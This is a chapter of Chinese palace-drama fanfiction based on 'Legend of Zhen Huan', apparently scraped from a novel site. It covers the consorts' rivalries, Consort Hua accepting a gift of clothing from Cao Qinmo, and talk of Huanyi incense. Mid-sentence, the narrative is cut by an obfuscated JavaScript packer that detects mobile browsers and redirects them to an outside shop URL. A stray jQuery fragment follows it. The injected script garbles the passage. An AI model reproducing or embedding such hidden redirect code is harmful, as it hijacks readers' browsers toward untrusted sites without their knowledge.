文趣网 > 其他小说 > 甄嬛传之娘娘万福金安 > 112.曹琴默献衣
    沈眉庄心头一紧,下意识护住肚子,捏紧了绢帕。

    “多谢华妃娘娘提点,嫔妾会记得的。”

    “哼。”华妃双手搭在扶手上向后一靠,“盼你是真的记住了。”

    “好了,懋嫔身子沉重,累不得,早些回去歇着吧。”

    “谢皇后娘娘体恤,臣妾先行告退。”

    众人目光顺着沈眉庄离去的身影短暂一掠,很快尽数落回热闹的戏台之上,刻意装作方才剑拔弩张的对峙不曾发生,暖阁里只剩炭火噼啪轻响,气氛看似慢慢平复下来。

    白藏侧过头看向身侧的甄嬛,眼皮微微一挑,没有出声说话,只嘴唇微动,无声比出口型:莫动。

    短短两个字,提醒她安分静坐。

    甄嬛微微抿一下唇,权衡了一下,确实眼下皇后自有自己的章法,应对华妃的挑衅,贸然插手只会无端惹祸上身。

    而且现在梅姐姐已经给解了围,她这时再开口也不过就是锦上添花罢了。

    念头至此,甄嬛压下要开口的话,轻轻颔首,望向戏台。

    有了前面那一出众人也不再说话,只安静看戏,时而看到精彩处喝彩,今儿个这出戏算是平安落幕。

    等到戏曲终了,皇后率先离开。华妃也带着颂芝离去,其余人也相互道别。

    安陵容瞧出姐姐有话要对甄姐姐说,便先行拉着夏冬春离开。

    送走夏冬春和安陵容,白藏看向甄嬛。

    “嬛儿妹妹,咱们去瞧瞧眉庄吧。”

    一旁淳常在眨了眨眼,机灵瞧出二人是有私下话语要谈,懂事没有凑上前说话。

    “莞姐姐熹嫔娘娘,那我就不跟着啦,你们去看望沈姐姐,我先回住处去,改日再去找姐姐们说话。”

    白藏和甄嬛对她笑笑,叮嘱她路上小心。

    待淳常在跟着宫女走远,周遭彻底没了旁人耳目,两人并肩缓步踩着廊下微光慢行,方才看戏暖阁里剑拔弩张的一幕幕,此刻终于能静下心细说。

    白藏侧过头看向甄嬛,“嬛儿方才,是想替皇后娘娘解围。”

    甄嬛脚步微顿,“华妃句句暗戳嫡庶尊卑,摆明了当众刁难挑衅,皇后娘娘一言不发静静坐着,看着终究太过难堪。我一时心急,就想开口打圆场了。”

    “还好你忍住了。”白藏声音放得极轻,“皇后身居中宫,什么风浪没见过,沉默不是无措,是不屑逞口舌之快。你现下风头本就惹眼,贸然出头,只会平白给自己招来更多针对,得不偿失。”

    甄嬛长长舒了口气,“多亏姐姐及时提醒,不然此刻怕是已经惹出麻烦。眉姐姐借着身子不适告退离开,临走一句话四两拨千斤,既体面脱身,又给皇后递了台阶,这份分寸,我到底还差了些。”

    “眉庄入宫后遭遇磨难颇多,如今又怀有身孕,行事本就谨慎,每一步都思虑周全。”

    白藏脚下步子缓缓放慢,声音压得极轻,“我与眉庄素来交好,嬛儿你更是不必多说,你们二人本就亲如姐妹。在外人眼中,咱们几人本就是同气连枝,绑在一处的。眼下眉庄腹中怀着龙裔,是最金贵也最容易受人算计的时候,半点差错都出不得。”

    说着转头看向甄嬛,神色认真了几分:“千万不能凭着一时意气,片刻得失贸然行事,一旦言行失了分寸落下把柄,保不准就牵连了眉庄。那位可就等着抓错处下手,万万不可主动授人以柄。”

    甄嬛脚步顿住,冷风拂过衣摆,眼底带上几分清醒的自省。

    “我方才想着开口,一半是看不惯那位当众步步挑衅,让中宫面上难堪,心底确实隐隐有向皇后靠拢,留个体面情分的心思。”

    说罢轻轻叹了口气,神色添了几分懊悔,“如今想来确实莽撞。旁人本就认定我们几人向来一处走动,我当众替皇后出头解围,落在处人眼里便是刻意攀附站队。一旦被抓住话柄必会大做文章,即便没有牵连眉姐姐,让怀着孕的眉姐姐为我担忧,也是不该,差点好心办了坏事。”

    “现在想来是我忽略了其中利害,多亏姐姐及时拦我。”

    白藏微微点头,“往后想要维系分寸交情,私下稳妥相处便可,不必在风口浪尖强行表露态度。”

    “眉庄如今身怀身孕,咱们几人,本就被视作,同气连枝的一伙人,眼下万万不能再主动惹恼翊坤宫那位,真要是激怒了,若是不择手段出手报复,最后遭殃受牵连的,十有八九便是身子经不起折腾的眉庄。”

    白藏心中叹气,虽然她很想提醒这二人皇后有问题。可眼下皇后中宫端庄贤良的模样,早已立得稳稳当当。

    行事又滴水不漏,半分马脚破绽都没外露,没有证据的猜忌拿到明面上来毫无用处,只会凭空给自己三人招来祸端。

    而且这二人也不一定会信她,没准还觉得她挑拨离间,不想他们好也说不准呢。人心都是不可测的。

    甄嬛敛了神色清醒几分,“姐姐说得极是。我行事应该更稳妥些才是,不能牵连了眉姐姐。”

    白藏轻轻颔首,“现下咱们是鸡蛋,咱们可不能去应用石头。硬碰硬是讨不到半点好处的,忍一时低调蛰伏,保全自身平安最要紧。”

    说到这里白藏又想叹气。

    也不知道皇帝抽的哪根筋,这段时间一直往碎玉轩跑,连华妃那里都少去了。

    虽然也来她这儿,但大多都是中午过来,用个午膳再给他按按头。

    可以说这段时间是甄嬛独宠了,这般状态下,就不要掺和皇后和华妃的事儿了,是嫌华妃针对的还不够吗?

    白藏在心中摇头。

    翊坤宫

    听了半日的戏,华妃靠在软榻上揉了揉太阳穴,只觉耳膜嗡嗡发胀,一阵阵细碎的耳鸣挥之不去,脑袋也微微发沉。

    蹙着眉抬手按在耳侧,语气带着几分不耐慵懒,“听了大半日,锣鼓敲个没完,现下歇了安静下来,反倒耳朵里嗡嗡响个不停,真是聒噪。”

    颂芝连忙上前奉上温热的蜜水,又取来软垫垫在她颈后,“娘娘许是听戏太久乐声震耳,殿内炭火又暖烘烘闷着,气血上浮才犯了耳鸣,奴婢这就叫小太监,取些清凉薄荷膏来,抹在太阳穴,娘娘不若暂且闭目静养片刻,兴许能缓解些。”

    华妃轻轻哼了一声,挥挥手让颂芝快去,闭目靠着榻上静养,她心里还隐隐憋着,白日看戏时积攒的不快。

    颂芝很快取了薄荷膏,沾了一点在指腹揉着华妃的太阳穴。

    “娘娘,今儿个收到襄贵人送的一身衣裳,娘娘可要瞧瞧。”

    华妃眼皮都未曾掀开,太阳穴被薄荷清凉的触感揉着,耳中嗡嗡的鸣响稍稍淡了几分,鼻腔里漫开清冽的薄荷味,压下几分白日积攒的烦躁。

    “什么新鲜东西,偏要这时候来回。”她懒懒出声,嗓音带着一丝倦怠沙哑,

    颂芝动作放得更轻,指尖缓缓打圈按摩,另一只手示意宫女将叠得齐整的衣料捧到一旁矮几上,低声回话:“是一身冬日穿的袄裙外裳,料子软糯厚实,配色也是娘娘喜欢的,襄贵人特意差人送来孝敬娘娘,说是寻江南织造新贡的软缎。”

    华妃缓缓睁开眼,眼底还有几分被耳鸣搅出的不耐,斜睨一眼那精致的衣盒,冷笑一声:“倒是懂得巴结。”

    话虽刻薄,却也没有让人直接退回,抬手揉了揉发胀的耳朵:“打开瞧瞧,料子若是上佳便留下,若是做工粗糙敷衍,不必给她脸面,原样送回去。”

    颂芝应声上前,掀开锦盒露出内里裁制规整的冬衣,边角走线

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969382|208938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    细密,纹样绣得精巧得体,分寸拿捏得刚刚好,看得出是用心置办。

    华妃打量了一番,“倒是有几分巧思。”

    颂芝闻言微微俯身,指尖轻轻抚过缎面顺滑的肌理,低声回话:“襄贵人在圆明园禁足这些日子,想来日日记挂着娘娘,特意托人寻了上好江南贡缎,颜色样式都是娘娘喜欢的,可见用心。”

    华妃指尖敲了敲榻沿,目光落在衣裳的绣纹上,语气漫不经心,藏着几分看透心思的冷意。

    “她哪里单单是孝敬衣裳,心里打的什么算盘,本宫一清二楚。皇上罚她在圆明园禁闭,如今期限早满,圣驾早已回宫,没人替她递话,只能巴巴想着走本宫这条路,盼着本宫在皇上跟前开口,放她回紫禁城。”

    颂芝停下按摩太阳穴的手,轻声问道:“那娘娘这衣裳要收下,要不要寻个时机帮她美言几句?”

    华妃唇角勾起一抹淡笑,慵懒摆了摆手:“衣裳做得用心,留下便是。求情回宫一事不必急着应允,先晾她一阵。让曹琴墨明白,她母女二人的前程,终究攥在本宫手里,往后行事,更要安分听话。”

    说罢重新靠回软榻,闭着眼任由薄荷清凉缓缓舒缓发胀的头脑,淡淡吩咐:“收进库房,回头打发个小太监捎句回话,不必许诺什么恩典,只说本宫知晓她的心意了。”

    “是。”颂芝挥手,让小宫女把衣服拿下去收好。

    “对了,今儿个这香,味道怎么不对?”

    颂芝上前轻轻给华妃捶着腿,“娘娘欢宜香已经用完了,今儿个点的是岭南新进的蜜露沉水香,清甜不呛人,冬日暖室里点着不会燥气上头。”

    “本宫倒是忘了,前个皇上还与本宫说过。”

    华妃目光落在香炉袅袅烟气上,眼底满是被皇上格外疼宠的甜蜜,语气带着几分憧憬:“前儿个皇上特意跟本宫解释,欢宜香是专为调理产后气虚炼制的香药。如今太医把脉,说本宫气血已调养妥当,不能再继续熏用了,用多了反倒会伤身,与龙嗣有碍。”

    说到这华妃唇角扬起浅浅笑意,眼尾都浸着温柔,语气柔软的很。

    “想来皇上也是盼着与本宫有个孩儿呢。不然怎会费心思特意制了欢宜香为我调养身子,如今叮嘱停香,分明是怕药性过重,反倒误了受孕的机缘。”

    颂芝手上捶腿的力道轻柔有度,眉眼弯起顺着主子的心意陪笑,满心替主子欢喜。

    “皇上心里时时刻刻挂着娘娘,这份情意六宫无人能比。如今身子调养圆满,停了熏香静心休养,不出时日定能如愿怀上龙胎,到时候娘娘腹中阿哥降生,便是翊坤宫天大的福气。”

    华妃听得舒心,脸上骄矜傲气淡了大半,只剩对子嗣的期盼,望着香炉飘散开的青烟轻声道:“希望我这身子能早些好,这才不负皇上一片心意。”

    颂芝陪着露出欢喜的神色:“娘娘身子康健,福气在后头,早晚能得偿所愿。”

    这话让华妃高兴拂了拂面颊,“对了,前些天让下面的人做的新斗篷可做好了。”

    “回娘娘,斗篷送来了,今儿个穿这件吗?”丹若捧着斗篷问。

    白藏接过斗篷,这件斗篷是她照着金枝欲孽,那个剧中戏服斗篷复制的,不过今个可穿不了,伸手放到一边。

    “今个腊八要去给太后请安,阖宫请安的日子不需要太出挑。时辰也不早了,给我梳妆换衣吧。”

    “是娘娘,娘娘今儿个要穿哪件?”

    “衬衣就那件月白软绫的,氅衣就配藕荷色的,在加个长坎肩,就那件对襟米色绣青竹的吧,斗篷还用原来那件青水蓝的。”

    虽说京城的冬天很冷,但这一套下来也很暖和啦。

    “太后有旨,传后宫嫔妃觐见。”